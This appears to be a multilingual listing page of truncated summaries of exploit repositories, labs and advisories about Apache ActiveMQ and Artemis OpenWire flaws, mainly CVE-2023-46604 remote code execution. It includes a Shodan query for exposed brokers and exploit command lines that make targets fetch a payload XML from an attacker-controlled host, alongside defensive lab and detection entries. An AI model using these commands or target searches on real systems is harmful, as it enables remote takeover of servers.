CVE-2023-46604

CVE-2023-46604 CVE-2023-46604 漏洞利用工具 此工具可帮助利用此漏洞。 用于查找目标的 Shodan 查询： root@kitploit: product:"ActiveMQ" port:"61616" 工具使用方法： root@kitploit: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target: python3 exploit.py -ip IP -c http://YourVPS/poc.xml...

CVE-2023-46604

CVE-2023-46604 이 저장소에는 Apache ActiveMQ의 취약점 CVE-2023-46604를 대상으로 하는 익스플로잇 스크립트와 개념 증명PoC XML 파일이 포함되어 있습니다. 이 취약점은 OpenWire 프로토콜 내의 안전하지 않은 역직렬화로 인해 원격 코드 실행을 허용합니다. 설명 CVE-2023-46604는 Apache ActiveMQ의 OpenWire 프로토콜에 존재하는 역직렬화 취약점입니다. 이 결함은 공격자가 ActiveMQ가 실행 중인 서버에서 임의의 코드를 실행하기 위해 악용될 수 있습니다. 이...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

프로젝트 참조 이 프로젝트는 https://github.com/X1r0z/ActiveMQ-RCE 프로젝트의 exp를 참조하여 다시 작성한 python 버전의 exp입니다. 사용법 root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 -p 매개변수는 기본적으로 activeMQ의 기본 포트입니다. -x 매개변수는 프로토콜 접두사를 추가해야 합니다. 소개 여기에 openwire 프로토콜의 그림을 첨부하면 이해...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE Pseudoshell 이 스크립트는 CVE-2023-46604Apache ActiveMQ를 활용하여 의사 셸pseudo shell을 생성합니다. 이 취약점은 OpenWire 프로토콜 내의 안전하지 않은 역직렬화로 인해 원격 코드 실행을 허용합니다. 설명 CVE-2023-46604는 Apache ActiveMQ의 OpenWire 프로토콜에 존재하는 역직렬화 취약점입니다. 이 결함은 공격자가 ActiveMQ가 실행 중인 서버에서 임의의 코드를 실행하도록 악용될 수 있습니다. 공격자는 악성 XML...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Investigation OpenWire 랩 제 근무 시간 동안 2단계 SOC 분석가로서, 1단계 분석가로부터 공개적으로 접근 가능한 서버가 여러 의심스러운 외부 IP 주소와 통신하고 있다는 에스컬레이션을 받았습니다. 이에 응답하여, 표준 사고 대응IR 절차를 시작했으며, 여기에는 영향을 받은 서버를 네트워크에서 격리하여 측면 이동 및 잠재적인 데이터 유출을 방지하는 것이 포함되었습니다. 그런 다음 추가 조사를 위해 NSM 플랫폼에서 패킷 캡처PCAP 파일을 획득했습니다. 제 목표는...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

CVE-2026-67593

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

CVE-2026-67593 Apache Artemis, Apache Artemis, Apache ActiveMQ Artemis, Apache ActiveMQ Artemis: Pre-authentication Openwire protocol handling can result in queue deletion

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

CVE-2026-67593

CVE-2026-67593 allows an unauthenticated remote attacker to delete arbitrary durable queues on Apache Artemis (2.50.0–2.56.0) and Apache ActiveMQ Artemis (1.0.0–2.44.0) by crafting a malicious OpenWire RemoveSubscriptionInfo command. The root cause is the processRemoveSubscription() method, which...

CVE-2026-67593 Apache Artemis, Apache Artemis, Apache ActiveMQ Artemis, Apache ActiveMQ Artemis: Pre-authentication Openwire protocol handling can result in queue deletion

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

EUVD-2026-75245

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

CVE-2023-46604-LAB

CVE-2023-46604 – Apache ActiveMQ RCE OpenWire Protocol 이 저장소는 Apache ActiveMQ에 영향을 미치는 CVE-2023-46604 취약점을 이해하고 탐지하는 데 사용되는 실습 환경을 문서화합니다. 이 프로젝트의 목표: 프로토콜 수준에서 익스플로잇이 어떻게 동작하는지 이해 악성 OpenWire 트래픽 캡처 Suricata를 사용한 탐지 규칙 구축 교육 및 방어적 보안 사용을 위한 단계 문서화 ⚠️ 중요 : 이 저장소는 교육 및 방어적 보안 목적으로 제공됩니다. 여기에는 익스플로잇...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 Отказ от ответственности Этот репозиторий содержит код доказательства концепции proof-of-concept для CVE-2023-466064 и предназначен строго для образовательных целей. Авторы и участники не поддерживают никакую незаконную деятельность. Информация представлена здесь для...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ и OpenWire 1 Обзор Apache ActiveMQ и OpenWire ActiveMQ — это брокер, поддерживающий JMS и позволяющий осуществлять связь между системами, использующими не только Java, но и различные другие языки. Кроме того, это сервер с открытым исходным кодом для обмена...

CVE-2023-46604

攻撃の技術概要: CVE-2023-46604 このスクリプトは、Apache ActiveMQ の安全でない逆シリアル化の脆弱性 CVE-2023-46604 を悪用して、対象サーバーでリモートコード実行を達成します。 悪用プロセスの説明 root@kitploit: 脆弱性の対象: この脆弱性は Apache ActiveMQ の OpenWire プロトコルに存在します。 オブジェクトの安全でない逆シリアル化を許可するため、サーバー上で任意のコードを実行するために悪用される可能性があります。 前提条件: ActiveMQ サーバーへのネットワークアクセス。...

ActiveMQ-CVE-2023-46604

CVE-2023-46604 ActiveMQ 安全バリデータ Apache ActiveMQ CVE-2023-46604 向けの単一ファイル・非破壊型バリデータです。独自のHTTPコールバックサーバーを起動し、ターゲット固有のSpring XMLをメモリ上で生成し、細工されたOpenWireパケットを送信し、一意のトークンでコールバックを関連付け、CSV/JSONの証跡を書き出します。...

CVE-2026-50734

Memory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ Client, Apache ActiveMQ, and Apache ActiveMQ All allows an unauthenticated network attacker to cause a broker DoS by sending a crafted WireFormatInfo frame with a malicious large size value. The broker may allocate memor...

CVE-2026-50750 Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All: Pre-authentication OpenWire DoS following fix for CVE-2026-49270

Denial of Service via Out of Memory vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All. Following the fix for CVE-2026-49270 an unauthenticated attacker can now cause broker OOM by sending an repeated BrokerInfo commands without sending a ConnectionInfo, until the broke...

CVE-2026-53917

CVE-2026-53917 describes an unbounded memory allocation vulnerability in OpenWire property unmarshalling in Apache ActiveMQ and related builds. An authenticated user can send a crafted OpenWire Message with a very large encoded size value for a message property map, causing OpenWire maps to be un...